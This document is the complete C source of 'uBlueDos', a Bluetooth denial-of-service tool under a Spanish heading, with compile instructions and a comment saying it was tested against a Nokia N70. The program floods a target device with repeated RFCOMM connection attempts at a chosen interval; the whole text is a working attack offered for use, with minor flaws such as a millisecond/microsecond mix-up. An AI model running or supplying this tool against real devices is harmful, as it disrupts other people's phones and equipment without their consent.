D.O.S en el protocolo Bluetooth

/* This version let you set the interval in ms (1000ms = 1sec)
   A simple tool to make DoS against bluetooth devices.
   Compile it so: gcc uBlueDos.c -o uBlueDos -lbluetooth
   I have tested this proggy against my nokia n70 and it seems to work.
   Have fun!
   Contact me at [email protected] or visit: http://vx.netlux.org/wargamevx
*/

#include <bluetooth/bluetooth.h>
#include <bluetooth/rfcomm.h>
#include <sys/socket.h>

/* make the real connection */
int BlueConnect(bdaddr_t *dst,short channel)
{
   struct sockaddr_rc remote_addr, local_addr;
   int sock;

   if ((sock = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM)) < 0)
   {
      printf("Error creating the bluetooth socket!\n");
      return 0;   
   }

   memset(&local_addr, 0, sizeof(local_addr));
   local_addr.rc_family = AF_BLUETOOTH;
   bacpy(&local_addr.rc_bdaddr, BDADDR_ANY);
   
   if (bind(sock, (struct sockaddr *)&local_addr, sizeof(local_addr)) < 0)
   {
      printf("Error binding!\n");
      close(sock);
      return 0;
   }

   memset(&remote_addr, 0, sizeof(remote_addr));
   remote_addr.rc_family = AF_BLUETOOTH;
   bacpy(&remote_addr.rc_bdaddr, dst);
   remote_addr.rc_channel = channel;

   if (connect(sock, (struct sockaddr *)&remote_addr, sizeof(remote_addr)) < 0)
   {
      printf("Error connecting!\n");
           /* Do not return */
   }

   else
   {
      printf("[* Done]\n");
   }
   
   close(sock); /* close the socket */
   
}

int main(int argc,char *argv[])
{
   int dos_cnt,it;
   bdaddr_t dst;
   short channel = 1;

   if(argc < 4)
   {
      printf("Usage: %s <bt_addr> <conn_num> <ms_sleep> <channel (optional, default = 1)>\n",argv[0]);
      return 0;
   }

   str2ba(argv[1],&dst);
   dos_cnt = abs(atoi(argv[2]));
   it = abs(atoi(argv[3]));

   if(argv[4] != NULL)
   {
      channel = abs(atoi(argv[4]));
   }

   printf("[bt_addr = %s,conn_num = %d,ms_sleep = %d,channel = %d]\n",argv[1],dos_cnt,it,channel);

   for(;dos_cnt > 0;dos_cnt--)
   {
      BlueConnect(&dst,channel);
      usleep(it);   
   }

   return 1;
}